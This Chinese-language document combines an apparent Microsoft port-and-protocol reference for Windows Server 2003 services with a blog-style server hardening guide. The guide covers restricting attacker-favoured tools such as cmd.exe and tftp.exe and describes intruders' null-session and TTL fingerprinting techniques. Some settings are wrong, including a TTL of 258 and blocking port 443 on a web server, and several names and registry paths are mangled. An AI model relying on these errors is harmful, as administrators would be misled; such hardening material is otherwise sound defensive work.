Windows 媒体服务现在是单个服务,运行于 Windows Server 2003 标准版、Windows Server 2003 企业版和 Windows Server 2003 数据中心版上。其核心组件是使用 COM 开发的,它具有灵活的结构,可以根据具体的节目自定义。它支持各种控制协议,包括实时流协议 (RTSP)、Microsoft Media Server (MMS) 协议和 HTTP。

系统服务名称:WMServer应用程序协议 协议 端口
HTTP TCP 80
MMS TCP 1755
MMS UDP 1755
MS Theater UDP 2460
RTCP UDP 5005
RTP UDP 5004
RTSP TCP 554

Windows 时间
“Windows 时间”系统服务维护网络上所有基于 Windows XP 和 Windows Server 2003 的计算机上的日期和时间同步。此服务使用网络时间协议 (NTP) 使计算机时钟同步,以便为网络验证和资源访问请求分配准确的时钟值或时间戳。NTP 的实现和时间提供程序的集成帮助 Windows 时间成为您企业的可靠、灵活的时间服务。对于没有加入域的计算机,可以配置 Windows 时间以使时间与外部时间源同步。如果关闭此服务,则本地计算机的时间设置将不能与 Windows 域中的时间服务或外部配置的时间服务同步。Windows Server 2003 使用 NTP。NTP 运行于 UDP 端口 123 上。此服务的 Windows 2000 版本使用简单网络时间协议 (SNTP)。SNTP 也运行于 UDP 端口 123 上。

系统服务名称:W32Time应用程序协议 协议 端口
NTP UDP 123
SNTP UDP 123

万维网发布服务
万维网发布服务提供了注册、管理、监视向 IIS 注册的网站和程序以及为它们提供服务所需的基础结构。此系统服务包含一个进程管理器和一个配置管理器。进程管理器控制自定义应用程序和网站驻留的进程。配置管理器读取已存储的万维网发布服务的系统配置,并确保 Http.sys 被配置为将 HTTP 请求路由到相应的应用程序池或操作系统进程。通过 Internet 信息服务 (IIS) 管理器管理单元,可以对此服务所使用的端口进行配置。如果启用了管理网站,则将创建一个在 TCP 端口 8098 上使用 HTTP 通信的虚拟网站。

系统服务名称:W3SVC应用程序协议 协议 端口
HTTP TCP 80
HTTPS TCP 443

应用程序协议 协议 端口
HTTP TCP 80
HTTPS TCP 443

 

端口和协议
下表汇总了本文“系统服务端口”一节中的信息。此表按端口号(而不是按服务名称)排序。 端口 协议 应用程序协议 系统服务名称
无 GRE GRE(IP 协议 47) 路由和远程访问
无 ESP IPsec ESP(IP 协议 50) 路由和远程访问
无 AH IPsec AH(IP 协议 51) 路由和远程访问
7 TCP Echo 简单 TCP/IP 服务
7 UDP Echo 简单 TCP/IP 服务
9 TCP Discard 简单 TCP/IP 服务
9 UDP Discard 简单 TCP/IP 服务
13 TCP Daytime 简单 TCP/IP 服务
13 UDP Daytime 简单 TCP/IP 服务
17 TCP Quotd 简单 TCP/IP 服务
17 UDP Quotd 简单 TCP/IP 服务
19 TCP Chargen 简单 TCP/IP 服务
19 UDP Chargen 简单 TCP/IP 服务
20 TCP FTP 默认数据 FTP 发布服务
21 TCP FTP 控制 FTP 发布服务
21 TCP FTP 控制 应用程序层网关服务
23 TCP Telnet Telnet
25 TCP SMTP 简单邮件传输协议
25 UDP SMTP 简单邮件传输协议
25 TCP SMTP Exchange Server
25 UDP SMTP Exchange Server
42 TCP WINS 复制 Windows Internet 名称服务
42 UDP WINS 复制 Windows Internet 名称服务
53 TCP DNS DNS 服务器
53 UDP DNS DNS 服务器
53 TCP DNS Internet 连接防火墙/Internet 连接共享
53 UDP DNS Internet 连接防火墙/Internet 连接共享
67 UDP DHCP 服务器 DHCP 服务器
67 UDP DHCP 服务器 Internet 连接防火墙/Internet 连接共享
69 UDP TFTP 普通 FTP 后台程序服务
80 TCP HTTP Windows 媒体服务
80 TCP HTTP 万维网发布服务
80 TCP HTTP SharePoint Portal Server
88 TCP Kerberos Kerberos 密钥发行中心
88 UDP Kerberos Kerberos 密钥发行中心
102 TCP X.400 Microsoft Exchange MTA 堆栈
110 TCP POP3 Microsoft POP3 服务
110 TCP POP3 Exchange Server
119 TCP NNTP 网络新闻传输协议
123 UDP NTP Windows 时间
123 UDP SNTP Windows 时间
135 TCP RPC 消息队列
135 TCP RPC 远程过程调用
135 TCP RPC Exchange Server
135 TCP RPC 证书服务
135 TCP RPC 群集服务
135 TCP RPC 分布式文件系统
135 TCP RPC 分布式链接跟踪
135 TCP RPC 分布式事务处理协调器
135 TCP RPC 事件日志
135 TCP RPC 传真服务
135 TCP RPC 文件复制
135 TCP RPC 组策略
135 TCP RPC 本地安全机构
135 TCP RPC 远程存储通知
135 TCP RPC 远程存储服务器
135 TCP RPC Systems Management Server 2.0
135 TCP RPC 终端服务授权
135 TCP RPC 终端服务会话目录
137 UDP NetBIOS 名称解析 计算机浏览器
137 UDP NetBIOS 名称解析 服务器
137 UDP NetBIOS 名称解析 Windows Internet 名称服务
137 UDP NetBIOS 名称解析 网络登录
137 UDP NetBIOS 名称解析 Systems Management Server 2.0
138 UDP NetBIOS 数据报服务 计算机浏览器
138 UDP NetBIOS 数据报服务 信使服务
138 UDP NetBIOS 数据报服务 服务器
138 UDP NetBIOS 数据报服务 网络登录
138 UDP NetBIOS 数据报服务 分布式文件系统
138 UDP NetBIOS 数据报服务 Systems Management Server 2.0
138 UDP NetBIOS 数据报服务 许可证记录服务
139 TCP NetBIOS 会话服务 计算机浏览器
139 TCP NetBIOS 会话服务 传真服务
139 TCP NetBIOS 会话服务 性能日志和警报
139 TCP NetBIOS 会话服务 后台打印程序
139 TCP NetBIOS 会话服务 服务器
139 TCP NetBIOS 会话服务 网络登录
139 TCP NetBIOS 会话服务 远程过程调用定位器
139 TCP NetBIOS 会话服务 分布式文件系统
139 TCP NetBIOS 会话服务 Systems Management Server 2.0
139 TCP NetBIOS 会话服务 许可证记录服务
143 TCP IMAP Exchange Server
161 UDP SNMP SNMP 服务
162 UDP SNMP 陷阱出站 SNMP 陷阱服务
389 TCP LDAP 服务器 本地安全机构
389 UDP LDAP 服务器 本地安全机构
389 TCP LDAP 服务器 分布式文件系统
389 UDP LDAP 服务器 分布式文件系统
443 TCP HTTPS HTTP SSL
443 TCP HTTPS 万维网发布服务
443 TCP HTTPS SharePoint Portal Server
443 TCP RPC over HTTP Exchange Server 2003
445 TCP SMB 传真服务
445 TCP SMB 后台打印程序
445 TCP SMB 服务器
445 TCP SMB 远程过程调用定位器
445 TCP SMB 分布式文件系统
445 TCP SMB 许可证记录服务
445 TCP SMB 网络登录
464 TCP Kerberos 密码 V5 网络登录
500 UDP IPsec ISAKMP 本地安全机构
515 TCP LPD TCP/IP 打印服务器
548 TCP Macintosh 文件服务器 Macintosh 文件服务器
554 TCP RTSP Windows 媒体服务
563 TCP NNTP over SSL 网络新闻传输协议
593 TCP RPC over HTTP 终结点映射器 远程过程调用
593 TCP RPC over HTTP Exchange Server
636 TCP LDAP SSL 本地安全机构
636 UDP LDAP SSL 本地安全机构
993 TCP IMAP over SSL Exchange Server
995 TCP POP3 over SSL Exchange Server
1067 TCP 安装引导程序服务 安装引导程序协议服务器
1068 TCP 安装引导程序服务 安装引导程序协议客户端
1270 TCP MOM 加密 Microsoft Operations Manager 2000
1433 TCP SQL over TCP Microsoft SQL Server
1433 TCP SQL over TCP MSSQL$UDDI
1434 UDP SQL Probe Microsoft SQL Server
1434 UDP SQL Probe MSSQL$UDDI
1645 UDP 旧式 RADIUS Internet 验证服务
1646 UDP 旧式 RADIUS Internet 验证服务
1701 UDP L2TP 路由和远程访问
1723 TCP PPTP 路由和远程访问
1755 TCP MMS Windows 媒体服务
1755 UDP MMS Windows 媒体服务
1801 TCP MSMQ 消息队列
1801 UDP MSMQ 消息队列
1812 UDP RADIUS 身份验证 Internet 验证服务
1813 UDP RADIUS 记帐 Internet 验证服务
1900 UDP SSDP SSDP 发现服务
2101 TCP MSMQ-DCs 消息队列
2103 TCP MSMQ-RPC 消息队列
2105 TCP MSMQ-RPC 消息队列
2107 TCP MSMQ-Mgmt 消息队列
2393 TCP OLAP Services 7.0 SQL Server:下层 OLAP 客户端支持
2394 TCP OLAP Services 7.0 SQL Server:下层 OLAP 客户端支持
2460 UDP MS Theater Windows 媒体服务
2535 UDP MADCAP DHCP 服务器
2701 TCP SMS 远程控制(控件) SMS 远程控制代理
2701 UDP SMS 远程控制(控件) SMS 远程控制代理
2702 TCP SMS 远程控制(数据) SMS 远程控制代理
2702 UDP SMS 远程控制(数据) SMS 远程控制代理
2703 TCP SMS 远程聊天 SMS 远程控制代理
2703 UPD SMS 远程聊天 SMS 远程控制代理
2704 TCP SMS 远程文件传输 SMS 远程控制代理
2704 UDP SMS 远程文件传输 SMS 远程控制代理
2725 TCP SQL 分析服务 SQL 分析服务器
2869 TCP UPNP 通用即插即用设备主机
2869 TCP SSDP 事件通知 SSDP 发现服务
3268 TCP 全局编录服务器 本地安全机构
3269 TCP 全局编录服务器 本地安全机构
3343 UDP 群集服务 群集服务
3389 TCP 终端服务 NetMeeting 远程桌面共享
3389 TCP 终端服务 终端服务
3527 UDP MSMQ-Ping 消息队列
4011 UDP BINL 远程安装
4500 UDP NAT-T 本地安全机构
5000 TCP SSDP 旧事件通知 SSDP 发现服务
5004 UDP RTP Windows 媒体服务
5005 UDP RTCP Windows 媒体服务
6001 TCP 信息存储 Exchange Server 2003
6002 TCP 目录参照 Exchange Server 2003
6004 TCP DSProxy/NSPI Exchange Server 2003
42424 TCP ASP.Net 会话状态 ASP.NET 状态服务
51515 TCP MOM 明文 Microsoft Operations Manager 2000
1024-65534 TCP RPC 随机分配的高 TCP 端口
Microsoft 以 Microsoft Excel 工作表的形式提供此表中的信息。此工作表可以从 Microsoft 下载中心下载:
立即下载 Port_Requirements_for_Microsoft_Windows_Server_System.xls 数据包。 (http://go.microsoft.com/fwlink/?linkid=21179)

Active Directory 端口和协议要求
位于公共或外部林中的应用程序服务器、客户机和域控制器都具有服务依赖性,以使用户和计算机启动的操作(如域加入、登录身份验证、远程管理和 Active Directory 复制)可以正常工作。此类服务和操作要求通过特定端口和网络协议建立网络连接。

成员计算机和域控制器进行互操作或应用程序服务器访问 Active Directory 所需的服务、端口和协议的概括列表包括但不限于以下内容: 1. Active Directory / LSA
2. 证书服务(特定配置所要求)
3. 计算机浏览器
4. DHCP 服务器(如果配置)
5. 分布式文件系统
6. 分布式链接跟踪服务器(可选项,但在 Windows 2000 计算机中将默认选择此项)
7. 分布式事务处理协调器
8. DNS 服务器(如果配置)
9. 事件日志
10. 传真服务(如果配置)
11. 文件复制
12. Macintosh 文件服务器(如果配置)
13. HTTP SSL
14. Internet 验证服务(如果配置)
15. Kerberos 密钥发行中心
16. 许可证记录(默认情况下使用)
17. 信使服务
18. 网络登录
19. 性能日志和警报
20. 后台打印程序
21. 远程安装(如果配置)
22. 远程过程调用 (RPC)
23. 远程过程调用 (RPC) 定位器
24. 远程存储通知
25. 远程存储服务器
26. 路由和远程访问
27. 服务器
28. 简单邮件传输协议 (SMTP)(如果配置)
29. SNMP 服务
30. SNMP 陷阱服务
31. TCP/IP 打印服务器
32. Telnet
33. 终端服务
34. 终端服务授权
35. 终端服务会话目录
36. WINS
37. Windows 时间
38. 万维网发布服务

Windows server2003是目前最为成熟的网络服务器平台,安全性相对于Windows 2000有大大的提高,但是2003默认的安全配置不一定适合我们的需要,所以,我们要根据实际情况来对Win2003进行全面安全配置。说实话,安全配置是一项比较有难度的网络技术,权限配置的太严格,好多程序又运行不起,权限配置的太松,又很容易被黑客入侵,做为网络管理员,真的很头痛,因此,我结合这几年的网络安全管理经验,总结出以下一些方法来提高我们服务器的安全性。


第一招:正确划分文件系统格式,选择稳定的操作系统安装盘

为了提高安全性,服务器的文件系统格式一定要划分成NTFS(新技术文件系统)格式,它比FAT16、FAT32的安全性、空间利用率都大大的提高,我们可以通过它来配置文件的安全性,磁盘配额、EPS文件加密等。如果你已经分成FAT32的格式了,可以用CONVERT 盘符 /FS:NTFS   /V 来把FAT32转换成NTFS格式。正确安装Windows 2003 server,可以直接网上升级,我们安装时尽量只安装我们必须要用的组件,安装完后打上最新的补丁,到网上升级到最新版本!保证操作系统本身无漏洞。


第二招:正确设置磁盘的安全性,具体如下(虚拟机的安全设置,我们以asp程序为例子)重点:

1、系统盘权限设置

C:分区部分:

c:

administrators 全部(该文件夹,子文件夹及文件)

CREATOR OWNER  全部(只有子文件来及文件)

system 全部(该文件夹,子文件夹及文件)

IIS_WPG 创建文件/写入数据(只有该文件夹)

IIS_WPG(该文件夹,子文件夹及文件)

遍历文件夹/运行文件

列出文件夹/读取数据

读取属性

创建文件夹/附加数据

读取权限

c:Documents and Settings

administrators 全部(该文件夹,子文件夹及文件)

Power Users (该文件夹,子文件夹及文件)

读取和运行

列出文件夹目录

读取

SYSTEM全部(该文件夹,子文件夹及文件)

C:Program Files

administrators 全部(该文件夹,子文件夹及文件)

CREATOR OWNER全部(只有子文件来及文件)

IIS_WPG (该文件夹,子文件夹及文件)

读取和运行

列出文件夹目录

读取

Power Users(该文件夹,子文件夹及文件)

修改权限

SYSTEM全部(该文件夹,子文件夹及文件)

TERMINAL SERVER USER (该文件夹,子文件夹及文件)

修改权限

2、网站及虚拟机权限设置(比如网站在E盘)

说明:我们假设网站全部在E盘wwwsite目录下,并且为每一个虚拟机创建了一个guest用户,用户名为vhost1…vhostn并且创建了一个webuser组,把所有的vhost用户全部加入这个webuser组里面方便管理。

E:

Administrators全部(该文件夹,子文件夹及文件)

E:wwwsite

Administrators全部(该文件夹,子文件夹及文件)

system全部(该文件夹,子文件夹及文件)

service全部(该文件夹,子文件夹及文件)

E:wwwsitevhost1

Administrators全部(该文件夹,子文件夹及文件)

system全部(该文件夹,子文件夹及文件)

vhost1全部(该文件夹,子文件夹及文件)

3、数据备份盘

数据备份盘最好只指定一个特定的用户对它有完全操作的权限。比如F盘为数据备份盘,我们只指定一个管理员对它有完全操作的权限。

4、其它地方的权限设置

请找到c盘的这些文件,把安全性设置只有特定的管理员有完全操作权限。

下列这些文件只允许administrators访问

net.exe

net1.exet

cmd.exe

tftp.exe

netstat.exe

regedit.exe

at.exe

attrib.exe

cacls.exe

format.com

5.删除c:inetpub目录,删除iis不必要的映射,建立陷阱帐号,更改描述。


第三招:禁用不必要的服务,提高安全性和系统效率。

Computer Browser 维护网络上计算机的最新列表以及提供这个列表

Task scheduler 允许程序在指定时间运行

Routing and Remote Access 在局域网以及广域网环境中为企业提供路由服务

Removable storage 管理可移动媒体、驱动程序和库

Remote Registry Service 允许远程注册表操作

Print Spooler 将文件加载到内存中以便以后打印。要用打印机的朋友不能禁用这项

IPSEC Policy Agent 管理IP安全策略以及启动ISAKMP/OakleyIKE)和IP安全驱动程序

Distributed Link Tracking Client 当文件在网络域的NTFS卷中移动时发送通知

Com+ Event System 提供事件的自动发布到订阅COM组件

Alerter 通知选定的用户和计算机管理警报

Error Reporting Service 收集、存储和向 Microsoft 报告异常应用程序

Messenger 传输客户端和服务器之间的 NET SEND 和 警报器服务消息

Telnet 允许远程用户登录到此计算机并运行程序


第四招:修改注册表,让系统更强壮。

1、隐藏重要文件/目录可以修改注册表实现完全隐藏:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Current-VersionExplorerAdvancedFolderHi-ddenSHOWALL”,鼠标右击 “CheckedValue”,选择修改,把数值由1改为0

2、启动系统自带的Internet连接防火墙,在设置服务选项中勾选Web服务器;

3、防止SYN洪水攻击:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters

新建DWORD值,名为SynAttackProtect,值为2

EnablePMTUDiscovery REG_DWORD 0

NoNameReleaseOnDemand REG_DWORD 1

EnableDeadGWDetect REG_DWORD 0

KeepAliveTime REG_DWORD 300,000

PerformRouterDiscovery REG_DWORD 0

EnableICMPRedirects REG_DWORD 0

4. 禁止响应ICMP路由通告报文:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersInterfacesinterface

新建DWORD值,名为PerformRouterDiscovery 值为0

5. 防止ICMP重定向报文的攻击:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters

将EnableICMPRedirects 值设为0

6. 不支持IGMP协议:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters

新建DWORD值,名为IGMPLevel 值为0

7.修改终端服务端口:

运行regedit,找到[HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Control Terminal Server Wds rdpwd Tds tcp],看到右边的PortNumber了吗?在十进制状态下改成你想要的端口号吧,比如7126之类的,只要不与其它冲突即可。

第二处HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Control Terminal Server WinStations RDP-Tcp,方法同上,记得改的端口号和上面改的一样就行了。

8、禁止IPC空连接:

cracker可以利用net use命令建立空连接,进而入侵,还有net view,nbtstat这些都是基于空连接的,禁止空连接就好了。打开注册表,找到Local_MachineSystemCurrentControlSetControlLSA-RestrictAnonymous 把这个值改成”1”即可。

9、更改TTL值:

cracker可以根据ping回的TTL值来大致判断你的操作系统,如:

TTL=107(WINNT);

TTL=108(win2000);

TTL=127或128(win9x);

TTL=240或241(linux);

TTL=252(solaris);

TTL=240(Irix);

实际上你可以自己更改的:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters:DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)改成一个莫名其妙的数字如258,起码让那些小菜鸟晕上半天,就此放弃入侵你也不一定哦。

10. 删除默认共享:

有人问过我一开机就共享所有盘,改回来以后,重启又变成了共享是怎么回事,这是2K为管理而设置的默认共享,必须通过修改注册表的方式取消它:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters:AutoShareServer类型是REG_DWORD把值改为0即可

11. 禁止建立空连接:

默认情况下,任何用户通过通过空连接连上服务器,进而枚举出帐号,猜测密码。我们可以通过修改注册表来禁止建立空连接:

Local_MachineSystemCurrentControlSetControlLSA-RestrictAnonymous 的值改成”1”即可。

第五招:其它安全手段。

1.禁用TCP/IP上的NetBIOS

网上邻居-属性-本地连接-属性-Internet协议(TCP/IP)属性-高级-WINS面板-NetBIOS设置-禁用TCP/IP上的NetBIOS。这样cracker就无法用nbtstat命令来读取你的NetBIOS信息和网卡MAC地址了。

2. 账户安全

首先禁止一切账户,除了你自己,呵呵。然后把Administrator改名。我呢就顺手又建了个Administrator账户,不过是什么权限都没有的那种,然后打开记事本,一阵乱敲,复制,粘贴到“密码”里去,呵呵,来破密码吧~!破完了才发现是个低级账户,看你崩溃不?

创建2个管理员用帐号

虽然这点看上去和上面这点有些矛盾,但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些*常事物,另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作,以方便管理

3.更改C:WINDOWSHelpiisHelpcommon404b.htm内容改为<META HTTP-EQUIV=REFRESH CONTENT="0;URL=/;">这样,出错了自动转到首页。

4. 安全日志

我遇到过这样的情况,一台主机被别人入侵了,系统管理员请我去追查凶手,我登录进去一看:安全日志是空的,倒,请记住:Win2000的默认安装是不开任何安全审核的!那么请你到本地安全策略->审核策略中打开相应的审核,推荐的审核是:

账户管理 成功 失败

登录事件 成功 失败

对象访问 失败

策略更改 成功 失败

特权使用 失败

系统事件 成功 失败

目录服务访问 失败

账户登录事件 成功 失败

审核项目少的缺点是万一你想看发现没有记录那就一点都没辙;审核项目太多不仅会占用系统资源而且会导致你根本没空去看,这样就失去了审核的意义

5. 运行防毒软件

我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的,其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒,还能查杀大量木马和后门程序。这样的话,“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级病毒库,我们推荐mcafree杀毒软件+blackice防火墙

6.sqlserver数据库服务器安全和serv-u ftp服务器安全配置,更改默认端口,和管理密码

7.设置ip筛选、用blackice禁止木马常用端口

一般禁用以下端口:

135 138 139 443 445 4000 4899 7626

8.本地安全策略和组策略的设置,如果你在设置本地安全策略时设置错了,可以这样恢复成它的默认值

打开 %SystemRoot%Security文件夹,创建一个 "OldSecurity"子目录,将%SystemRoot%Security下所有的.log文件移到这个新建的子文件夹中

在%SystemRoot%Securitydatabase下找到"Secedit.sdb"安全数据库并将其改名,如改为"Secedit.old"

启动"安全配置和分析"MMC管理单元:"开始"->"运行"->"MMC",启动管理控制台,"添加/删除管理单元",将"安全配置和分析"管理单元添加上

右击"安全配置和分析"->"打开数据库",浏览"C:WINNTsecurityDatabase"文件夹,输入文件名"secedit.sdb",单击"打开"

当系统提示输入一个模板时,选择"Setup Security.inf",单击"打开",如果系统提示"拒绝访问数据库",不管他,你会发现在"C:WINNTsecurityDatabase"子文件夹中重新生成了新的安全数据库,在"C:WINNTsecurity"子文件夹下重新生成了log文件,安全数据库重建成功。